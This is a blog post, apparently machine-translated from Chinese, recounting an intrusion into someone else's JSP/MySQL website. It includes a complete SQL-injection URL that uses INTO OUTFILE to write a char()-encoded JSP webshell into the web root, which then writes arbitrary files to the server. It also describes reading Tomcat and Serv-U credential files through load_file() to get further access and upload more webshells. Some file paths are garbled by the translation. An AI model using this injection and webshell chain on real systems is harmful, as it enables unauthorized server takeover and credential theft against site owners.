Author: sai52 [B. H.S. T]
Blog: www.sai52.com
Preface:
If you do not know what Struts is, refer to the article.
The intrusion of JSP Website Based on java Struts http://www.bkjia.com/kf/200808/28937.html
Intrusion into a java Struts-based JSP website is made by skyfire, a friend. It was reposted by some large websites without the author's name. Please allow me to despise them here.
Body:
To help a friend detect a jsp site, mysql database. If there are injection points known, order by is used to guess 15 fields, and no other useful information is exposed. During union query, the number of fields is correct but the normal screen is not displayed.
Hey, don't let the error message lie. In fact, the union query can still be performed, just at the location of "10.
Query the MYSQL version 4.1.19, root permission, and readable file (if the path is known ).
Scan it all over. (Note that the results obtained by using wwwscan are different from those obtained by scanning the Web site. Scan the ip address twice ).
Get a lot of useful information, including:
Website physical path: D: china
Website background login address: http://www.site.org.cn/admin/login.jsp
TOMCAT back-end login address: http://xxx.xx.xxx.xx/admin/
1. Use into outfile to export a webshell statement
The injection point can use union. It has the File Permission and knows the physical path of the website. jsp does not have such settings as magic_quotes_gpc = on. Therefore, it is suitable to use into outfile to export a webshell sentence.
- http://www.site.org.cn/XXXXMessage.jsp?id=7676%20and%201=2%20union%20select%
- 200,1,2,3,4,5,6,7,8,9,char(60,37,32,105,102,40,114,101,113,117,101,115,116,46,
- 103,101,116,80,97,114,97,109,101,116,101,114,40,34,102,34,41,33,61,110,117,108,
- 108,41,40,110,101,119,32,106,97,118,97,46,105,111,46,70,105,108,101,79,117,116,
- 112,117,116,83,116,114,101,97,109,40,97,112,112,108,105,99,97,116,105,111,110,
- 46,103,101,116,82,101,97,108,80,97,116,104,40,34,92,34,41,43,114,101,113,117,
- 101,115,116,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,102,34,41,41,
- 41,46,119,114,105,116,101,40,114,101,113,117,101,115,116,46,103,101,116,80,97,
- 114,97,109,101,116,101,114,40,34,116,34,41,46,103,101,116,66,121,116,101,115,40,
- 41,41,59,32,37,62),11,12,13,14%20into%20outfile%20D:\china\19h.jsp/*
Failed for the first time. I don't know what went wrong. The exported jsp-webshell cannot be used normally. Later, I found that the exported webshell is as large as 15 MB. (= _ = !)
Although it failed, but access to the exported webshell, the page error exposed TOMCAT's physical path D: Tomcat 5.0. :)
The jsp-webshell was exported again. This time, a trojan was uploaded using a single webshell statement. View the webshell content in one sentence.
View the permission, which is system.
It should have ended, but from the beginning, we will use all the methods we can think of (idle ). (= _ = !)
PS: none of the subsequent methods use the previous webshell.
2. Read the TOMCAT background password and log on to the TOMCAT management background.
Just accidentally exposed TOMCAT physical path D: Tomcat 5.0, and know the TOMCAT background login address, next of course is the direct load_file () read the tomcat-user.xml file. (TOMCAT password file, saved in the TOMCAT directory confomcat-user.xml by default)
Read the password and log on to the/admin directory.
TOMCAT's use in the/admin directory can only traverse the directory. It can only be used in combination with other methods.
The/manager/html directory of webshell can be obtained directly. Because port 8080 cannot be accessed, this is skipped.
3. Read the ServUDaemon. ini password and use ftp to upload webshell
Start to read load_file ()
C: Documents and SettingsAll Users Start Menu \ Program Serv-UServ-U Administrator. lnk
File, directly get the installation path of serv-u, the result is wrong path, did not read (later found in C: documents and SettingsAll Users "start" Menu \ Program Serv-u ftp ServerServ-U Administrator. lnk), so you have to guess the default path and read it when you guess C: Program FilesServ-U.